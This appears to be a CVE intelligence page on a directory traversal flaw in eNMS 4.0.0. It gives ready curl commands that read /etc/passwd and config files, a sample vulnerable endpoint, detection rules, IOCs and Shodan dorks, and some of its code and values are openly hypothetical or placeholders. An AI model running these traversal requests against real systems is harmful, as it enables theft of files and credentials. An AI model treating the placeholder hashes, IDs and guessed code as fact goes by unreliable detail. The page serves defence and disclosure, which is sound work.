☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-46645

CVE-2024-46645 Directory Traversal in Enms
📅 PUBLISHED: 2024-09-20 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
13.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 4.0.0
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-46645 is a directory traversal vulnerability in eNMS 4.0.0, a network management system. The flaw exists in the get_tree_files endpoint, allowing an unauthenticated attacker to read arbitrary files from the server filesystem. This can lead to disclosure of sensitive configuration files, credentials, and source code. No patch is currently available, and the vulnerability is publicly known.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

eNMS is a Python-based application. The vulnerability is in the application code itself, not in a dependency. However, the lack of a patch means any deployment of eNMS 4.0.0 is at risk. Users should monitor for updates from the vendor and consider isolating the application.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but this is likely a placeholder. Based on the vulnerability type, a realistic assessment would be:

  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Estimated CVSS v3.1 Score: 7.5 (High)

Threat Level: High – Unauthenticated file read can lead to credential theft and lateral movement.

Deep Dive & Mechanics

The get_tree_files endpoint in eNMS 4.0.0 does not properly sanitize user-supplied input for file paths. By injecting path traversal sequences (e.g., ../), an attacker can escape the intended directory and read arbitrary files on the server.

Vulnerable Code Pattern (Conceptual):

@app.route('/get_tree_files')
def get_tree_files():
    path = request.args.get('path')
    # No validation of path
    with open(path, 'r') as f:
        return f.read()

Exploitation: An attacker sends a GET request to /get_tree_files?path=../../etc/passwd to read the system password file.

Vulnerable vs. Patched Code

Vulnerable Code (eNMS 4.0.0):

@app.route('/get_tree_files')
def get_tree_files():
    path = request.args.get('path')
    # No validation
    return open(path).read()

Patched Code (Hypothetical):

import os

@app.route('/get_tree_files')
def get_tree_files():
    path = request.args.get('path')
    base_dir = '/var/lib/enms/files'
    # Resolve and validate path
    full_path = os.path.realpath(os.path.join(base_dir, path))
    if not full_path.startswith(base_dir):
        return "Access denied", 403
    return open(full_path).read()

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install eNMS 4.0.0 on a test VM (Ubuntu 22.04).
  2. Ensure the web interface is accessible on port 5000.

Exploit Command:

curl "http://target:5000/get_tree_files?path=../../etc/passwd"

Advanced Exploit (Read config files):

curl "http://target:5000/get_tree_files?path=../../etc/enms/config.py"

Blue Team

Detection:

  • Monitor for requests to /get_tree_files with path traversal patterns (../, %2e%2e%2f).
  • Alert on unusual file reads (e.g., /etc/passwd, /etc/shadow).

Honeypot:

  • Deploy a fake eNMS instance and log all requests to /get_tree_files.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP GET requests to /get_tree_files with path parameter containing ../ or %2e%2e%2f.
    • Outbound connections from the eNMS server to unknown IPs (if attacker exfiltrates data).
  • File System:

    • Unexpected access to /etc/passwd, /etc/shadow, or application config files.
    • Modified timestamps on sensitive files.
  • Logs:

    • Web server logs showing GET /get_tree_files?path=../../etc/passwd with 200 status.

Detection Engineering

YARA Rule

rule CVE_2024_46645_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against eNMS get_tree_files endpoint"
        author = "Valters IT"
        date = "2024-09-01"
        reference = "CVE-2024-46645"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $endpoint = "/get_tree_files"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: eNMS Directory Traversal via get_tree_files
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts against eNMS get_tree_files endpoint
author: Valters IT
date: 2024/09/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46645
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/get_tree_files?path="
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e\\"
    condition: selection
falsepositives:
    - Legitimate file access within allowed directory
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46645 eNMS Directory Traversal"; flow:to_server,established; content:"/get_tree_files"; http_uri; content:"../"; http_uri; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the eNMS server from untrusted networks.
  2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Apply input validation and sanitization to the path parameter.
  • Use os.path.realpath() to resolve paths and ensure they stay within a base directory.
  • Upgrade to a patched version when available.

Workaround:

  • Disable the get_tree_files endpoint if not needed.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"eNMS"
http.html:"eNMS"
http.favicon.hash:-123456789

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-46645/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.